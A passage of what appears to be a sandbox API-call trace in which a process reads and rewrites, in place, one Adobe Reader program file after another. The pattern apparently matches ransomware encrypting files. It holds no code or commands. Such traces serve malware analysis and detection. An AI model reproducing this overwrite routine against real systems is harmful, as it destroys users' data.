lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0041.673] WriteFile (in: hFile=0x1a8, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.673] CloseHandle (hObject=0x1a8) returned 1 [0041.673] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0041.674] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.674] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x893f [0041.674] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.674] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.674] ReleaseMutex (hMutex=0x128) returned 1 [0041.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0041.674] ReadFile (in: hFile=0x1a8, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.677] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x793f [0041.677] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.678] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x793f [0041.679] WriteFile (in: hFile=0x1a8, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.679] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0041.679] WriteFile (in: hFile=0x1a8, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.679] CloseHandle (hObject=0x1a8) returned 1 [0041.679] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\QRCode.pmp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp\\qrcode.pmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0041.680] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.680] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x13400 [0041.680] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.680] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.680] ReleaseMutex (hMutex=0x128) returned 1 [0041.680] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QRCode.pmp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.680] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QRCode.pmp", cchWideChar=10, lpMultiByteStr=0x1e6316c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QRCode.pmp", lpUsedDefaultChar=0x0) returned 10 [0041.680] ReadFile (in: hFile=0x1a8, lpBuffer=0x276a328, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.684] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x12400 [0041.684] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.687] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x12400 [0041.687] WriteFile (in: hFile=0x1a8, lpBuffer=0x276e358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.687] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0041.687] WriteFile (in: hFile=0x1a8, lpBuffer=0x276e358*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.687] CloseHandle (hObject=0x1a8) returned 1 [0041.687] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\MakeAccessible.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\makeaccessible.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0041.688] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.688] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x234a63 [0041.688] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.688] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.688] ReleaseMutex (hMutex=0x128) returned 1 [0041.688] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.api", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0041.688] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.api", cchWideChar=18, lpMultiByteStr=0x1e78b04, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.api", lpUsedDefaultChar=0x0) returned 18 [0041.688] ReadFile (in: hFile=0x1a8, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0041.692] ReadFile (in: hFile=0x1a8, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0041.694] ReadFile (in: hFile=0x1a8, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0x2000, lpOverlapped=0x0) returned 1 [0041.694] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x232a63 [0041.694] ReadFile (in: hFile=0x1a8, lpBuffer=0x280dd58, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x280dd58*, lpNumberOfBytesRead=0x340f278*=0x2000, lpOverlapped=0x0) returned 1 [0041.697] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x232a63 [0041.698] WriteFile (in: hFile=0x1a8, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x340f28c*=0x2588, lpOverlapped=0x0) returned 1 [0041.698] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0041.698] WriteFile (in: hFile=0x1a8, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.699] WriteFile (in: hFile=0x1a8, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.699] WriteFile (in: hFile=0x1a8, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x2000, lpOverlapped=0x0) returned 1 [0041.699] CloseHandle (hObject=0x1a8) returned 1 [0041.699] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0041.699] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.700] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xa00 [0041.700] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.700] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.700] ReleaseMutex (hMutex=0x128) returned 1 [0041.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.JPN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.JPN", cchWideChar=9, lpMultiByteStr=0x1e631cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.JPN", lpUsedDefaultChar=0x0) returned 9 [0041.700] ReadFile (in: hFile=0x1a8, lpBuffer=0x1da48f8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da48f8*, lpNumberOfBytesRead=0x340f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0041.701] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0041.701] WriteFile (in: hFile=0x1a8, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x340f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0041.701] CloseHandle (hObject=0x1a8) returned 1 [0041.702] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0041.702] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.702] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1a00 [0041.702] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.702] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.702] ReleaseMutex (hMutex=0x128) returned 1 [0041.702] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.CHT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.702] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.CHT", cchWideChar=10, lpMultiByteStr=0x1e6302c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.CHT", lpUsedDefaultChar=0x0) returned 10 [0041.702] ReadFile (in: hFile=0x1a8, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x340f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0041.704] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0041.704] WriteFile (in: hFile=0x1a8, lpBuffer=0x280dd58*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x280dd58*, lpNumberOfBytesWritten=0x340f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0041.704] CloseHandle (hObject=0x1a8) returned 1 [0041.704] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0041.704] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.704] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x2000 [0041.704] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.704] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.704] ReleaseMutex (hMutex=0x128) returned 1 [0041.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.NLD", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.NLD", cchWideChar=10, lpMultiByteStr=0x1e631cc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.NLD", lpUsedDefaultChar=0x0) returned 10 [0041.705] ReadFile (in: hFile=0x1a8, lpBuffer=0x280dd58, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x280dd58*, lpNumberOfBytesRead=0x340f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0041.706] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0041.706] WriteFile (in: hFile=0x1a8, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0041.707] CloseHandle (hObject=0x1a8) returned 1 [0041.707] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0041.707] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.707] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xa00 [0041.707] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.707] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.707] ReleaseMutex (hMutex=0x128) returned 1 [0041.707] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.ESP", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.707] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.ESP", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.ESP", lpUsedDefaultChar=0x0) returned 13 [0041.707] ReadFile (in: hFile=0x1a8, lpBuffer=0x1da48f8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da48f8*, lpNumberOfBytesRead=0x340f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0042.103] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0042.103] WriteFile (in: hFile=0x1a8, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x340f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0042.108] CloseHandle (hObject=0x1a8) returned 1 [0042.108] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0042.110] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.110] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xa00 [0042.111] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.111] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.111] ReleaseMutex (hMutex=0x128) returned 1 [0042.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SUO", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0042.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SUO", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.SUO", lpUsedDefaultChar=0x0) returned 13 [0042.111] ReadFile (in: hFile=0x1a8, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x340f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0042.118] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0042.119] WriteFile (in: hFile=0x1a8, lpBuffer=0x25c5e08*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c5e08*, lpNumberOfBytesWritten=0x340f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0042.119] CloseHandle (hObject=0x1a8) returned 1 [0042.119] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0042.119] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.119] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xa00 [0042.120] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.120] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.120] ReleaseMutex (hMutex=0x128) returned 1 [0042.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.ITA", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0042.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.ITA", cchWideChar=16, lpMultiByteStr=0x1e7894c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.ITA", lpUsedDefaultChar=0x0) returned 16 [0042.120] ReadFile (in: hFile=0x1a8, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x340f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0042.146] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 